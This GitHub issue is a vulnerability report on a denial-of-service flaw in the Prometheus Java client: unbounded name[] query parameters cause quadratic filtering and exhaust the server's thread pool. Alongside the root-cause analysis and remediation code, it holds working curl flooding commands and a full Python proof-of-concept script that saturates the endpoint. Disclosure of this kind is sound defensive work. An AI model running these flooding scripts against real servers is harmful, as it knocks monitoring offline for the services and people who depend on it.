Skip to content

# Security Report: Denial of Service via Unbounded name[] Query Parameter Flooding in prometheus/client_java #2285

Description

@manqingzhou

Security Report: Denial of Service via Unbounded name[] Query Parameter Flooding in prometheus/client_java

1. Vulnerability Summary

FieldValue
Productprometheus/client_java (Prometheus Java Client Library)
Affected Version1.8.0 (main branch); all prior versions containing PrometheusHttpRequest with the default getParameterValues() implementation
Componentprometheus-metrics-exporter-common, prometheus-metrics-model
Vulnerable FilesPrometheusHttpRequest.java (lines 50-73), MetricNameFilter.java (lines 43-55)
CWECWE-400: Uncontrolled Resource Consumption
CVSS 3.1 Score7.5 (High)
CVSS 3.1 VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Repositoryhttps://github.com/prometheus/client_java
DiscovererSecurity Research

2. Vulnerability Description

A denial-of-service (DoS) vulnerability exists in the Prometheus Java client library's HTTP metrics exporter. The vulnerability arises from the absence of any limits on the number or total size of name[] query parameters accepted by the /metrics endpoint, combined with an O(n) linear-scan filtering algorithm in MetricNameFilter.

An unauthenticated remote attacker can send a single HTTP request containing an arbitrarily large number of name[] query parameters to the metrics endpoint. The server-side processing of this request consumes excessive memory (unbounded ArrayList growth), excessive CPU (O(n x m) string comparisons where n is the number of name[] parameters and m is the number of registered metrics), and can exhaust the limited thread pool, blocking all legitimate Prometheus scrape requests.

The vulnerability is present in the default getParameterValues() method of the PrometheusHttpRequest interface, which performs no input validation on the query string. It is amplified by the MetricNameFilter.matchesNameEqualTo() method, which iterates over the entire list of supplied names for each registered metric using linear string prefix comparisons.


3. Root Cause Analysis

3.1 Unbounded Query Parameter Parsing (Primary Root Cause)

File:prometheus-metrics-exporter-common/src/main/java/io/prometheus/metrics/exporter/common/PrometheusHttpRequest.java
Lines: 50-73

@Override@Nullable@SuppressWarnings("JdkObsolete")
defaultString[] getParameterValues(Stringname) {
try {
ArrayList<String> result = newArrayList<>(); // No pre-allocated capacity limitStringqueryString = getQueryString();
if (queryString != null) {
String[] pairs = queryString.split("&"); // No limit on split countfor (Stringpair : pairs) {
intidx = pair.indexOf("=");
if (idx != -1 && URLDecoder.decode(pair.substring(0, idx), "UTF-8").equals(name)) {
result.add(URLDecoder.decode(pair.substring(idx + 1), "UTF-8")); // Unbounded add
}
}
}
if (result.isEmpty()) {
returnnull;
} else {
returnresult.toArray(newString[0]);
}
} catch (UnsupportedEncodingExceptione) {
thrownewRuntimeException(e);
}
}

Three critical deficiencies:

  1. No query string length limit. The raw query string from getQueryString() is processed regardless of its size. A multi-megabyte query string is accepted without any check.

  2. Unbounded split.queryString.split("&") produces an array with as many elements as there are &-delimited segments. With 100,000 name[] parameters, this creates a 100,000-element String[] array.

  3. Unbounded result collection. The ArrayList<String> result grows without limit. Every matching name[] parameter value is added with result.add(). There is no cap on the number of values collected.

3.2 O(n) Linear Scan in MetricNameFilter (Amplifying Factor)

File:prometheus-metrics-model/src/main/java/io/prometheus/metrics/model/registry/MetricNameFilter.java
Lines: 43-55

privatebooleanmatchesNameEqualTo(StringmetricName) {
if (nameIsEqualTo.isEmpty()) {
returntrue;
}
for (Stringname : nameIsEqualTo) {
// The following ignores suffixes like _total.// "request_count" and "request_count_total" both match a metric named "request_count".if (name.startsWith(metricName)) {
returntrue;
}
}
returnfalse;
}

The nameIsEqualTo collection is backed by an ArrayList (see constructor, line 29). For each registered metric, matchesNameEqualTo() iterates over every entry in this list, performing a String.startsWith() comparison. The time complexity is O(n) per metric, where n is the number of name[] parameter values.

3.3 O(n x m) Amplification in Registry Scrape

File:prometheus-metrics-model/src/main/java/io/prometheus/metrics/model/registry/PrometheusRegistry.java
Lines: 451-509

When scraping with a filter, PrometheusRegistry.scrape(Predicate<String>, PrometheusScrapeRequest) calls includedNames.test(prometheusName) for each registered collector. Each call to test() triggers the O(n) linear scan in MetricNameFilter.matchesNameEqualTo().

With n = 100,000 name[] parameters and m = 1,000 registered metrics, a single HTTP request produces:

  • 100,000,000 (100 million) String.startsWith() comparisons
  • Each comparison involves character-by-character comparison of the metric name prefix

3.4 Thread Pool Exhaustion (Cascading Failure)

File:prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/HTTPServer.java
Lines: 339-347

privateExecutorServicemakeExecutorService() {
if (executorService != null) {
returnexecutorService;
} else {
returnnewThreadPoolExecutor(
1, // core pool size10, // maximum pool size120, // keep-alive timeTimeUnit.SECONDS,
newSynchronousQueue<>(true),
NamedDaemonThreadFactory.defaultThreadFactory(true),
newBlockingRejectedExecutionHandler()); // BLOCKS on rejection
}
}

The default thread pool has a maximum of 10 threads and uses a SynchronousQueue with a BlockingRejectedExecutionHandler that blocks the caller when all threads are busy. An attacker sending 10 concurrent flooding requests will:

  1. Occupy all 10 threads with long-running parameter processing
  2. Block any subsequent requests in the BlockingRejectedExecutionHandler.rejectedExecution() method
  3. Cause legitimate Prometheus scrape requests to time out

3.5 Data Flow

Attacker HTTP Request (?name[]=a_0&name[]=a_1&...&name[]=a_99999)
|
v
PrometheusHttpRequest.getParameterValues("name[]")
- queryString.split("&") --> 100,000 element String[]
- URLDecoder.decode() x 200,000 (key + value per pair)
- ArrayList grows to 100,000 entries
- Returns String[100000]
|
v
PrometheusScrapeHandler.scrape()
- MetricNameFilter.builder().nameMustBeEqualTo(String[100000]).build()
- nameIsEqualTo = ArrayList<String> of size 100,000
|
v
PrometheusRegistry.scrape(filter, request)
- For each of m registered metrics:
- filter.test(metricName)
- matchesNameEqualTo() iterates all 100,000 entries
- String.startsWith() comparison each time
= Total: 100,000 x m comparisons
|
v
Thread blocked for seconds to minutes

4. CVSS 3.1 Detailed Breakdown

MetricValueJustification
Attack Vector (AV)Network (N)The /metrics endpoint is network-accessible. The HTTPServer binds to a network socket by default.
Attack Complexity (AC)Low (L)No special conditions required. The attacker simply sends an HTTP GET request with crafted query parameters.
Privileges Required (PR)None (N)The HTTPServer does not require authentication by default. The Authenticator is optional and null unless configured.
User Interaction (UI)None (N)No user interaction needed. The attacker sends requests directly to the endpoint.
Scope (S)Unchanged (U)Impact is limited to the metrics exporter component. Other application functionality may be indirectly affected only if sharing the same JVM resources.
Confidentiality (C)None (N)No information is disclosed.
Integrity (I)None (N)No data is modified.
Availability (A)High (H)Memory exhaustion, CPU exhaustion, and thread pool starvation cause complete denial of the metrics service. Legitimate Prometheus scrapes are blocked.

CVSS 3.1 Vector String:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS 3.1 Base Score:7.5 (High)


5. Proof of Concept

5.1 Prerequisites

  • A Java application using prometheus-metrics-exporter-httpserver with the built-in HTTPServer
  • The application has at least one registered metric (typical production applications have hundreds or thousands)
  • Network access to the metrics HTTP port (default: 9400 or user-configured)

5.2 Minimal Vulnerable Application

importio.prometheus.metrics.core.metrics.Counter;
importio.prometheus.metrics.core.metrics.Histogram;
importio.prometheus.metrics.exporter.httpserver.HTTPServer;
publicclassVulnerableMetricsApp {
publicstaticvoidmain(String[] args) throwsException {
// Register some metrics (typical applications have hundreds)for (inti = 0; i < 1000; i++) {
Counter.builder()
.name("app_counter_" + i)
.help("Counter " + i)
.register();
}
HTTPServerserver = HTTPServer.builder()
.port(9400)
.buildAndStart();
System.out.println("Metrics server started on port " + server.getPort());
Thread.currentThread().join();
}
}

5.3 Reproduction Steps

Step 1: Basic parameter flooding -- single request.

# Generate a URL with 100,000 name[] parameters
PARAMS=$(python3 -c "print('&'.join(['name[]=metric_' + str(i) for i in range(100000)]))")# Send a single flooding request (this alone causes significant CPU/memory usage)time curl -s -o /dev/null -w "%{http_code}""http://target:9400/metrics?${PARAMS}"

Expected behavior: The request takes several seconds to minutes to complete. During this time, one thread is fully occupied.

Step 2: Thread pool exhaustion -- 10 concurrent connections.

# Saturate all 10 threads in the default poolforiin$(seq 1 10);do
curl -s -o /dev/null "http://target:9400/metrics?${PARAMS}"&done# Wait a moment, then attempt a legitimate scrape
sleep 2
time curl -s -o /dev/null -w "%{http_code}""http://target:9400/metrics"# This request will hang indefinitely (blocked in BlockingRejectedExecutionHandler)

Expected behavior: The legitimate scrape request hangs because all 10 threads are occupied and the BlockingRejectedExecutionHandler blocks the caller rather than rejecting.

Step 3: Verify Prometheus scrape disruption.

While the flooding requests are in progress, a Prometheus server configured to scrape this target will report:

level=warn msg="Error on ingesting samples that are too old or are too far into the future"
level=error msg="Scrape failed" target="http://target:9400/metrics" err="context deadline exceeded"

5.4 Full PoC Script

#!/usr/bin/env python3"""PoC: Denial of Service via Unbounded name[] Query Parameter FloodingTarget: prometheus/client_java HTTPServer metrics endpointDemonstrates three attack vectors: 1. Memory exhaustion via large ArrayList allocation 2. CPU exhaustion via O(n*m) linear scan in MetricNameFilter 3. Thread pool starvation with 10 concurrent flooding requestsUsage: python3 dos_name_param_flooding.py --target http://localhost:9400 --count 100000"""importargparseimportconcurrent.futuresimportsysimporttimeimporturllib.requestimporturllib.errordefbuild_flooding_url(base_url, param_count):
"""Build a URL with param_count name[] query parameters."""params="&".join(f"name[]=metric_{i}"foriinrange(param_count))
returnf"{base_url}/metrics?{params}"defsend_flooding_request(url, request_id):
"""Send a single flooding request and measure duration."""start=time.monotonic()
try:
req=urllib.request.Request(url, method="GET")
withurllib.request.urlopen(req, timeout=300) asresp:
_=resp.read()
elapsed=time.monotonic() -startreturnrequest_id, resp.status, elapsed, Noneexcepturllib.error.URLErrorase:
elapsed=time.monotonic() -startreturnrequest_id, None, elapsed, str(e)
exceptExceptionase:
elapsed=time.monotonic() -startreturnrequest_id, None, elapsed, str(e)
defsend_legitimate_scrape(base_url, timeout=10):
"""Send a normal /metrics scrape and measure response time."""url=f"{base_url}/metrics"start=time.monotonic()
try:
req=urllib.request.Request(url, method="GET")
withurllib.request.urlopen(req, timeout=timeout) asresp:
_=resp.read()
elapsed=time.monotonic() -startreturnresp.status, elapsed, NoneexceptExceptionase:
elapsed=time.monotonic() -startreturnNone, elapsed, str(e)
defmain():
parser=argparse.ArgumentParser(
description="PoC: DoS via name[] parameter flooding against prometheus/client_java"
)
parser.add_argument(
"--target",
default="http://localhost:9400",
help="Base URL of the Prometheus metrics endpoint (default: http://localhost:9400)",
)
parser.add_argument(
"--count",
type=int,
default=100000,
help="Number of name[] parameters per request (default: 100000)",
)
parser.add_argument(
"--threads",
type=int,
default=10,
help="Number of concurrent flooding requests (default: 10, matching default pool size)",
)
args=parser.parse_args()
print("="*72)
print("PoC: Denial of Service via Unbounded name[] Query Parameter Flooding")
print(f"Target: {args.target}")
print(f"Parameters per request: {args.count:,}")
print(f"Concurrent flooding threads: {args.threads}")
print("="*72)
# Phase 1: Baseline -- measure normal scrape timeprint("\n[Phase 1] Baseline: Measuring normal scrape response time...")
status, elapsed, error=send_legitimate_scrape(args.target, timeout=30)
iferror:
print(f" ERROR: Could not reach target: {error}")
print(" Ensure the target application is running and accessible.")
sys.exit(1)
print(f" Normal scrape: status={status}, time={elapsed:.3f}s")
baseline_time=elapsed# Phase 2: Single flooding request -- measure CPU/memory impactprint(f"\n[Phase 2] Single flooding request with {args.count:,} name[] parameters...")
flooding_url=build_flooding_url(args.target, args.count)
print(f" URL length: {len(flooding_url):,} bytes")
print(f" Estimated server-side ArrayList size: {args.count:,} entries")
print(f" Sending request...")
_, status, elapsed, error=send_flooding_request(flooding_url, 0)
iferror:
print(f" Request failed after {elapsed:.3f}s: {error}")
else:
print(f" Response: status={status}, time={elapsed:.3f}s")
print(f" Slowdown factor vs baseline: {elapsed/max(baseline_time, 0.001):.1f}x")
# Phase 3: Thread pool exhaustion -- concurrent floodingprint(f"\n[Phase 3] Thread pool exhaustion: {args.threads} concurrent flooding requests...")
print(f" Default HTTPServer pool size: 10 threads (max)")
print(f" Sending {args.threads} concurrent requests to saturate the pool...")
futures= []
withconcurrent.futures.ThreadPoolExecutor(max_workers=args.threads+1) asexecutor:
# Launch flooding requestsflood_start=time.monotonic()
foriinrange(args.threads):
futures.append(executor.submit(send_flooding_request, flooding_url, i))
# Wait briefly for flooding requests to engage server threadstime.sleep(2)
# Attempt a legitimate scrape while flooding is in progressprint(f"\n[Phase 4] Attempting legitimate scrape during flooding attack...")
scrape_future=executor.submit(send_legitimate_scrape, args.target, 15)
try:
status, elapsed, error=scrape_future.result(timeout=20)
iferror:
print(f" CONFIRMED: Legitimate scrape FAILED: {error}")
print(f" Time waited: {elapsed:.3f}s")
print(f" The metrics endpoint is unresponsive -- DoS achieved.")
elifelapsed>baseline_time*10:
print(f" DEGRADED: Legitimate scrape succeeded but took {elapsed:.3f}s")
print(f" Slowdown: {elapsed/max(baseline_time, 0.001):.1f}x vs baseline")
print(f" Prometheus scrape_timeout (default 10s) would be exceeded.")
else:
print(f" Legitimate scrape succeeded: status={status}, time={elapsed:.3f}s")
exceptconcurrent.futures.TimeoutError:
print(f" CONFIRMED: Legitimate scrape TIMED OUT after 20s")
print(f" All server threads are blocked -- complete DoS achieved.")
# Collect flooding resultsprint(f"\n[Phase 5] Flooding request results:")
forfutureinconcurrent.futures.as_completed(futures, timeout=300):
req_id, status, elapsed, error=future.result()
iferror:
print(f" Request {req_id}: FAILED after {elapsed:.3f}s -- {error}")
else:
print(f" Request {req_id}: status={status}, time={elapsed:.3f}s")
# Summaryprint("\n"+"="*72)
print("SUMMARY")
print("="*72)
print(f" Attack parameters:")
print(f" name[] count per request: {args.count:,}")
print(f" Concurrent connections: {args.threads}")
print(f" URL size per request: {len(flooding_url):,} bytes")
print(f" Resource consumption per request (server-side):")
print(f" ArrayList entries: {args.count:,}")
print(f" String.split() elements: {args.count:,}")
print(f" URLDecoder.decode() calls: {args.count*2:,}")
print(f" With 1,000 registered metrics:")
print(f" String.startsWith() comparisons: {args.count*1000:,}")
print(f" Thread pool capacity: 10 (default)")
print(f" Threads occupied by attack: {args.threads}")
print(f" Threads remaining for legitimate scrapes: {max(0, 10-args.threads)}")
if__name__=="__main__":
main()

5.5 Bash One-Liner for Quick Verification

# Quick DoS verification -- generate 50,000 parameters and observe response time
python3 -c "print('&'.join(['name[]=m_'+str(i) for i in range(50000)]))"| \
xargs -I{} time curl -s -o /dev/null -w "HTTP %{http_code}\n""http://localhost:9400/metrics?{}"

6. Impact Analysis

6.1 Memory Exhaustion

Each flooding request causes the following allocations on the server:

AllocationSize with 100K parameters
queryString.split("&") array100,000 String references
URLDecoder.decode() results200,000 decoded String objects (key + value per pair)
ArrayList<String> result100,000 entries + dynamic resizing overhead
result.toArray(new String[0])100,000-element String[] copy
MetricNameFilter.nameIsEqualTo100,000-element ArrayList copy

With average parameter values of 20 characters, a single request allocates approximately:

  • 100,000 x (40 bytes object header + 20 chars x 2 bytes) = ~8 MB for the split array values
  • 100,000 x 80 bytes = ~8 MB for the decoded key strings
  • 100,000 x 80 bytes = ~8 MB for the decoded value strings
  • Multiple ArrayList copies and array conversions

Total per request: approximately 30-50 MB of heap allocation. With 10 concurrent flooding requests, this reaches 300-500 MB, which can trigger garbage collection pressure or OutOfMemoryError in constrained environments.

6.2 CPU Exhaustion

The MetricNameFilter.matchesNameEqualTo() method performs a linear scan:

Time complexity per metric: O(n) where n = number of name[] parameters
Time complexity per scrape: O(n * m) where m = number of registered metrics
name[] count (n)Registered metrics (m)String.startsWith() callsEstimated time
1,000100100,000~10 ms
10,0001001,000,000~100 ms
100,00010010,000,000~1-2 s
100,0001,000100,000,000~10-30 s
100,00010,0001,000,000,000~minutes

6.3 Thread Pool Starvation

The default HTTPServer thread pool configuration is:

newThreadPoolExecutor(
1, // corePoolSize10, // maximumPoolSize120, // keepAliveTimeTimeUnit.SECONDS,
newSynchronousQueue<>(true),
NamedDaemonThreadFactory.defaultThreadFactory(true),
newBlockingRejectedExecutionHandler() // Blocks on rejection
);

Key characteristics:

  • Maximum 10 threads. The pool cannot grow beyond 10 worker threads.
  • SynchronousQueue. This queue has zero capacity. Each new task must be immediately handed off to a thread. If no thread is available, the rejection handler is invoked.
  • BlockingRejectedExecutionHandler. When all 10 threads are busy, instead of rejecting the request, this handler blocks the caller by calling threadPoolExecutor.getQueue().put(runnable), which blocks indefinitely on the SynchronousQueue until a thread becomes available.

This means that an attacker who occupies all 10 threads with long-running flooding requests will cause every subsequent legitimate request to block indefinitely in the rejection handler. The Prometheus server's scrape timeout (default 10 seconds) will be exceeded, and the metrics endpoint becomes completely unavailable.

6.4 Unauthenticated Access

The HTTPServer does not require authentication by default. The Authenticator is an optional builder parameter that defaults to null:

@NullableprivateAuthenticatorauthenticator = null;

Most deployments do not configure authentication on the metrics endpoint, as Prometheus scraping assumes direct, trusted network access. This means any network-reachable attacker can launch the flooding attack without credentials.

6.5 Impact on Monitoring Infrastructure

When the metrics endpoint becomes unresponsive:

  1. Prometheus scrape failures. Prometheus records up{job="target"} = 0, triggering alerts for target health.
  2. Monitoring blind spot. No metrics are collected during the attack, creating gaps in dashboards and alerting.
  3. Cascading alerts. Alert rules that depend on metrics from the affected target may fire spuriously or fail to fire for genuine issues.
  4. SLA violations. If metrics availability is part of service-level objectives, the DoS directly impacts SLA compliance.

7. Affected Modules and Scope

Directly Affected

ModuleFileRole
prometheus-metrics-exporter-commonPrometheusHttpRequest.javaUnbounded query parameter parsing (default getParameterValues() method)
prometheus-metrics-modelMetricNameFilter.javaO(n) linear scan over nameIsEqualTo collection
prometheus-metrics-exporter-httpserverHTTPServer.javaLimited 10-thread pool with blocking rejection handler

Indirectly Affected

ModuleReason
prometheus-metrics-exporter-servlet-jakartaUses servlet container's getParameterValues() instead of the vulnerable default method. May still be affected if the servlet container does not impose its own limits.
prometheus-metrics-exporter-servlet-javaxSame as above.

The vulnerability is most severe with the standalone HTTPServer because of the small, fixed thread pool. Servlet containers typically have larger thread pools and may impose their own query string length limits, partially mitigating the attack.


8. Remediation

8.1 Input Validation in PrometheusHttpRequest.getParameterValues()

Add maximum limits on the number of query parameters and total query string length.

defaultString[] getParameterValues(Stringname) {
try {
StringqueryString = getQueryString();
if (queryString == null) {
returnnull;
}
// Limit 1: Maximum query string length (64 KB)if (queryString.length() > 65536) {
thrownewIllegalArgumentException(
"Query string too long: " + queryString.length() + " bytes (max 65536)");
}
ArrayList<String> result = newArrayList<>();
String[] pairs = queryString.split("&");
// Limit 2: Maximum number of parametersif (pairs.length > 1024) {
thrownewIllegalArgumentException(
"Too many query parameters: " + pairs.length + " (max 1024)");
}
for (Stringpair : pairs) {
intidx = pair.indexOf("=");
if (idx != -1 && URLDecoder.decode(pair.substring(0, idx), "UTF-8").equals(name)) {
result.add(URLDecoder.decode(pair.substring(idx + 1), "UTF-8"));
}
}
if (result.isEmpty()) {
returnnull;
} else {
returnresult.toArray(newString[0]);
}
} catch (UnsupportedEncodingExceptione) {
thrownewRuntimeException(e);
}
}

The IllegalArgumentException should be caught in PrometheusScrapeHandler.handleRequest() and translated to an HTTP 400 (Bad Request) response.

8.2 Use HashSet for O(1) Lookups in MetricNameFilter

Replace the ArrayList-backed linear scan with a HashSet for exact equality checks, reducing per-metric lookup cost from O(n) to O(1).

// Before (O(n) per metric):privatebooleanmatchesNameEqualTo(StringmetricName) {
if (nameIsEqualTo.isEmpty()) {
returntrue;
}
for (Stringname : nameIsEqualTo) {
if (name.startsWith(metricName)) {
returntrue;
}
}
returnfalse;
}
// After (O(1) average for exact matches, O(n) worst case for prefix matching):// Use a HashSet for the common exact-match case, with a fallback for prefix matching.

Note: The current implementation uses name.startsWith(metricName) (checking if the filter name starts with the metric name) to support suffix-agnostic matching (e.g., matching both request_count and request_count_total). This complicates a pure HashSet replacement but can be optimized with a trie or by normalizing metric names.

8.3 Return HTTP 400 for Excessive Parameters

In PrometheusScrapeHandler.handleRequest(), catch validation exceptions from parameter parsing and return HTTP 400:

publicvoidhandleRequest(PrometheusHttpExchangeexchange) throwsIOException {
try {
PrometheusHttpRequestrequest = exchange.getRequest();
MetricSnapshotssnapshots = scrape(request);
// ... normal processing
} catch (IllegalArgumentExceptione) {
// Input validation failure (e.g., too many name[] parameters)PrometheusHttpResponseresponse = exchange.getResponse();
byte[] message = e.getMessage().getBytes(StandardCharsets.UTF_8);
response.setHeader("Content-Type", "text/plain; charset=utf-8");
try (OutputStreamout = response.sendHeadersAndGetBody(400, message.length)) {
out.write(message);
}
} catch (IOExceptione) {
exchange.handleException(e);
} catch (RuntimeExceptione) {
exchange.handleException(e);
} finally {
exchange.close();
}
}

8.4 Defense in Depth: Request Timeout

Configure sun.net.httpserver.maxReqTime to a lower value to limit how long the server spends processing a single request. The current default is 60 seconds (set in HTTPServer.java line 43-44), which is generous for an attack scenario. Consider reducing to 15-30 seconds.

8.5 Workaround

There is no configuration-level workaround available to users of the library. Possible mitigations without code changes include:

  • Reverse proxy with query string length limits. Place nginx, HAProxy, or a similar reverse proxy in front of the metrics endpoint, configured to reject requests with excessively long query strings or too many parameters.
  • Network-level access control. Restrict access to the metrics port to only the Prometheus server's IP address using firewall rules or network policies.
  • Custom ExecutorService. Use the HTTPServer.Builder.executorService() method to supply a larger thread pool, raising the bar for thread exhaustion attacks (but not eliminating the vulnerability).

9. References

  1. CWE-400: Uncontrolled Resource Consumption:https://cwe.mitre.org/data/definitions/400.html

  2. Prometheus client_java GitHub Repository:https://github.com/prometheus/client_java

  3. Vulnerable Source Files:

    • prometheus-metrics-exporter-common/src/main/java/io/prometheus/metrics/exporter/common/PrometheusHttpRequest.java (lines 50-73)
    • prometheus-metrics-model/src/main/java/io/prometheus/metrics/model/registry/MetricNameFilter.java (lines 43-55)
    • prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/HTTPServer.java (lines 339-347)
  4. OWASP: Denial of Service:https://owasp.org/www-community/attacks/Denial_of_Service

  5. Java API: ThreadPoolExecutor:https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ThreadPoolExecutor.html

  6. Prometheus Scrape Configuration -- params field:https://prometheus.io/docs/prometheus/latest/configuration/configuration/#scrape_config


Reported by: Security Research Team
Date: 2026-06-24
Severity: High (CVSS 7.5)
CWE: CWE-400 (Uncontrolled Resource Consumption)
Status: Unpatched (as of version 1.8.0)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions